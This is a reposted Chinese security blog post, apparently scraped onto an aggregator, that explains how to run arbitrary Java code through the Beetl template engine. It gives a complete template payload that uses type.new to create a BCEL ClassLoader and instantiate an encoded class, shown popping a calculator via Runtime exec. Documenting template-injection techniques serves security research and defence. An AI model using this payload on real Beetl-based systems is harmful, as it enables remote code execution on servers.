

Beetl 模版引擎执行任意 Java 代码的方法
source link: https://www.landgrey.me/blog/17/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

一. Beetl 介绍
网上没搜索到 Beetl 模版引擎执行任意 Java 代码的方法,所以顺手看下文档,顺便分享下方法。
下是来自 官网 的简介:
Beetl是Bee Template Language的缩写,它绝不是简单的另外一种模板引擎,而是新一代的模板引擎,它功能强大,性能良好,超过当前流行的模板引擎。而且还易学易用。
二. 执行任意 java 代码
-
Beetl 默认的语句界定符为
<% %>
-
Beetl 支持用 type.new 创建一个对象实例,语法有点像
javascript
:
var user = type.new("com.xx.User");
- Beetl 支持用 java 代码风格来调用属性和对象,例如:
${@user.getMaxFriend(“lucy”)}
${@com.xxxx.constants.Order.getMaxNum()}
<%
var max = @com.xxxx.constants.Order.MAX_NUM;
var c =1;
var d = @user.getAge(c);
%>
结合以上三个小知识,就可以利用 type.new 创建一个 bcel ClassLoader
的实例,然后使用实例加载任意代码,并实例化代码,执行任意的自定义代码。当然,肯定还有其他方法,不过找到一个通用的就行了,暂时不需要深挖。
下面是一个使用 Runtime exec
执行 /bin/bash -c "open -a Calculator"
命令弹计算器的例子:
<%
var obj = type.new("com.sun.org.apache.bcel.internal.util.ClassLoader");
@obj.loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$c9N$e3$40$Q$7d$ed8n$c7$98$cdl$c3$9a$b0$H$q$s$SW$d0$5c$90$b8$Q$W$e1$I$Uq$Y$b5$7b$9a$600v$e48$cc$fc$d1$9c$b9$AB$82$P$e0$a3$Q$d5$Wb$edCu$f5$abW$ef$95$aa$9f$9e$ef$l$B$acc$d9A$PF8Fm$8c$d9$f8ac$dc$c1$E$su$98$e2$98v$60c$86$a3$ccQa$b06$c38$cc$7e1$U$aa$xG$M$e6V$f2G1$f4$d7$c3X$edu$_$D$956D$Q$Rbo$ca$e8$95$d9$ebgB$5e$ec$8av$5e$oA$G$c7O$ba$a9T$db$a1$a6$96$a4$88$e4$cfsq$r$5c$b8$e8e$Y$d0y$z$Sq$ab$e6gi$Y$b7$88S$L$c2$b8$W$88$ce$Z$83$b1$s$Z$bc$a4$ad$e2$ca$9a$a8lQs7$SY$92r$cc$ba$98$c3$bc$8b$F$y2$M$bd$ab4$ce$d2$e4$af6w$b1$a4$NL$ed$f8$c9g$3f8W2c$Y$7c$87$O$bbq$W$5e$d2$7cNKeo$8f$91$eaJ$fd$hg$83$q$d5$3fE$92$d5$eaI$fd$eb$f4$h$l$3b$O$d2D$aaN$87$3a$fa$dbT$cc$f2$dd4R$n$Vf$a1$ffA$l$DLo$82b$l$bd$a6$e9ft$XWo$c1$ae$v$a1$5e$8aV$O$d2$a61$f0F$3d$85$99$a3$8b$d6$D$8cf$c1$x$f8M$d33$fdf$d1$x$fa$3bw$b0Vo$c0$8f$ff$c3$de$a1$a4t$9dS$a7P$s$J$p$97$9c$mQ$90$c40$8a$84$dbT$b1P$B$a7$7d$960H$V$O$e37$87$a7$3d$86$f21$87_$Ad$8aRTD$C$A$A").newInstance();
%>
三:参考文章
Recommend
-
122
近日,Git 被发现存在一个潜在的远程代码执行漏洞(CVE-2018-11235)。该漏洞源于在用 git clone 时没有对 submodule 的文件夹命名做足够的验证,当用户在使用 git clone –recurse-submodules 时, 攻击者可以通过构造一个...
-
12
Android Adobe Reader 任意代码执行分析(附POC) livers
-
53
-
49
首先附上米斯特安全大佬们文章的 链接 ,刚开始有些东西我没看的太懂,于是我就再添了点东西,希望像我一样的小白也能看懂。 一、漏洞综述 漏...
-
22
从ByteCTF的opensns 到前段时间斗象科技发的
-
16
模板方法模式 在一个方法中定义一个算法的骨架,而将一些步骤延迟到子类中。模板方法使得子类可以在不改变算法结构的情况下,重新定义算法中的某些步骤。 P289
-
9
这是一个由有条件的任意用户登录+低权限文件上传+低权限目录穿越+低权限文件包含组成。可能是盯着国内OA的人太多了,这个漏洞在2020年9月28号的11.8版本中被更新修复,比较可惜的是,一次更新修复了全部的漏洞逻辑,不禁令人惊叹。 今天就一起来看...
-
8
0x00简介 2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。 吃完饭回来看到这个公告都傻眼了,整个tp5系列都影响了,还是getshell。 (以下截图为后截图,主要是想讲...
-
7
作者:xxhzz@星阑科技PortalLab 原文链接:https://mp.weixin.qq.com/s/K9nmiwr8yL5tVxiLnhFDmA
-
6
Vision Pro 头显能被入侵执行任意代码,苹果发布更新修复漏洞|苹果公司|财务报表|财务会计|vision|第三方应用商店_网易订阅 IT之家 2 月 1 日消息,苹果公司...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK